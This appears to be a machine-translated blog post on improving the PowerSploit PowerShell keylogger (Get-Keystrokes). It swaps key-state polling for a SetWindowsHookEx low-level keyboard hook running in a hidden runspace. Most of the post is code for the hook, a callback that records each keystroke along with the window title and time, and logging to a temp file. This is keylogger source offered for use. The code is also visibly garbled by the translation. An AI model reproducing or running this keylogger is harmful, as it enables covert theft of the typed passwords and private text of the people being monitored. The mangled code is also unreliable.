Use PowerShell scripts for Windows keyboard Recorder
Recently, I finally have the opportunity to contribute to the project PowerSploit that I often learn from.
After Christmas in 2015, when I was in a rush to browse and prepare to delete my email, I found a problem with the keyboard recorder. Coldalfred writes, "when I run PowerShell by default or with the parameter-PollingInterval 100 or 10000 or 40, the PowerShell process consumes a lot of CPU resources. Is this normal ?". When I was idle, I decided to study and solve the problem.
I have verified the problem mentioned by Coldalfred. It turns out that the PollingInterval parameter cannot be successfully passed to the initialization program. This parameter adjusts and checks the cycle of the keyboard by setting sleep. When the input is a null value, the PowerShell Start-Sleep command line will throw a "non-terminating" error, but since this special instance is executed as a background job, it is not displayed when an error occurs. In addition to the hidden problems, using these jobs also consumes a lot of memory resources. My initial goal was to fix the PollingInterval parameter and remove the background job from the running space. The following code snippet InitializationRoutine. ps1 describes the situation:
$ Initilizer = {
Function KeyLog {
# Win32 Imports
Start-Sleep-Milliseconds $ PollingInterval
# Excessive GetAsyncKeyState loop to check for pressed keys
} Start-Job-InitializationScript $ Initilizer-ScriptBlock {for (;) {Keylog}-Name Keylogger | Out-Null
Now, the project creator has disabled Coldalfred. "SetWindowsHookEx may be a better keyboard recorder, but it needs to place a DLL file on the hard disk ". The advantage of using SetWindowsHookEx is that you can hook all processes on the desktop at the same time and ensure that all keyboard information is monitored, instead of detecting the status of each key through GetAsyncKeystate loop, which will omit some records. I did some research on this method and found a good idea from Hans Passant. Hans explains that there are two types of hooks that require no DLL files, one of which is the low-level keyboard information. The key to this type of Hook is to use the cyclic detection queue for messages after the hook is set. The PeekMessage function can be used to check the queue and set HookMessageLoop. ps1:
# Set WM_KEYBOARD_LL hook $ Hook = $ SetWindowsHookEx. invoke (0xD, $ Callback, $ ModuleHandle, 0) $ Stopwatch = [Diagnostics. stopwatch]: StartNew () # Message loopwhile ($ true ){
If ($ PSBoundParameters. Timeout-and ($ Stopwatch. Elapsed. TotalMinutes-gt $ Timeout) {break}
$ PeekMessage. Invoke ([IntPtr]: Zero, [IntPtr]: Zero, 0x100, 0x109, 0)
Start-Sleep-Milliseconds 10}
Although both PowerShell and C # run on the. NET Framework and can operate Windows APIs, it still requires some wisdom to enable PowerShell to complete C. SetWindowsHookEx relies on the LowLevelKeyboardProc callback function defined by the application to process keyboard messages. Fortunately, I have seen on the internet how to call these callback functions in PowerShell and finally successfully implemented them. ScriptblockCallback. ps1 is shown as follows:
# Define callback $ CallbackScript = {
Param (
[Int32] $ Code, [IntPtr] $ wParam, [IntPtr] $ lParam
)
$ MsgType = $ wParam. ToInt32 ()
# Process WM_KEYDOWN & WM_SYSKEYDOWN messages
If ($ Code-ge 0-and ($ MsgType-eq 0x100-or $ MsgType-eq 0x104 )){
# Get handle to foreground window
$ HWindow = $ GetForegroundWindow. Invoke ()
# Read virtual-key from buffer
$ VKey = [Windows. Forms. Keys] [Runtime. InteropServices. Marshal]: ReadInt32 ($ lParam)
# Parse virtual-key
If ($ vKey-gt 64-and $ vKey-lt 91) {Alphabet characters}
Elseif ($ vKey-ge 96-and $ vKey-le 111) {Number pad characters}
Elseif ($ vKey-ge 48-and $ vKey-le 57)-or'
($ VKey-ge 186-and $ vKey-le 192)-or'
($ VKey-ge 219-and $ vKey-le 222) {Shiftable characters}
Else {Special Keys}
# Get foreground window's title
$ Title = New-Object Text. Stringbuilder 256 $ GetWindowText. Invoke ($ hWindow, $ Title, $ Title. Capacity)
# Define object properties
$ Props = @{
Key = $ Key
Time = [DateTime]: Now Window = $ Title. ToString ()
}
New-Object psobject-Property $ Props
}
# Call next hook or keys won't get passed to intended destination
Return $ CallNextHookEx. invoke ([IntPtr]: Zero, $ Code, $ wParam, $ lParam)} # Cast scriptblock as LowLevelKeyboardProc callback $ Delegate = Get-DelegateType @ ([Int32], [IntPtr], [IntPtr]) ([IntPtr]) $ Callback = $ CallbackScript-as $ Delegate # Set WM_KEYBOARD_LL hook $ Hook = $ SetWindowsHookEx. invoke (0xD, $ Callback, $ ModuleHandle, 0)
The rest of the work is to package them into a separate runtime space and execute the KeyLoggerRunspace. ps1:
Function Get-Keystrokes {
[CmdletBinding ()]
Param (
[Parameter (Position = 0)]
[ValidateScript ({Test-Path (Resolve-Path (Split-Path-Parent-Path $ _)-PathType Container})]
[String] $ LogPath = "$ ($ env: TEMP) \ key. log", [Parameter (Position = 1)]
[Double] $ Timeout, [Parameter ()]
[Switch] $ PassThru
)
$ LogPath = Join-Path (Resolve-Path (Split-Path-Parent $ LogPath) (Split-Path-Leaf $ LogPath)
Try {'"TypedKey", "WindowTitle", "Time"' | Out-File-FilePath $ LogPath-Encoding unicode}
Catch {throw $ _}
$ Script = {
Param (
[Parameter (Position = 0)]
[String] $ LogPath, [Parameter (Position = 1)]
[Double] $ Timeout
)
# Function local: Get-DelegateType
# Function local: Get-ProcAddress
# Imports
# $ CallbackScript
# Cast scriptblock as LowLevelKeyboardProc callback
# Get handle to PowerShell for hook
# Set WM_KEYBOARD_LL hook
# Message loop
# Remove the hook
$ UnhookWindowsHookEx. Invoke ($ Hook)
}
# Setup KeyLogger's runspace
$ PowerShell = [PowerShell]: Create ()
[Void] $ PowerShell. AddScript ($ Script)
[Void] $ PowerShell. AddArgument ($ LogPath)
If ($ PSBoundParameters. Timeout) {[void] $ PowerShell. AddArgument ($ Timeout )}
# Start KeyLogger
[Void] $ PowerShell. BeginInvoke ()
If ($ PassThru. IsPresent) {return $ PowerShell }}
Complete source code can be found on Github.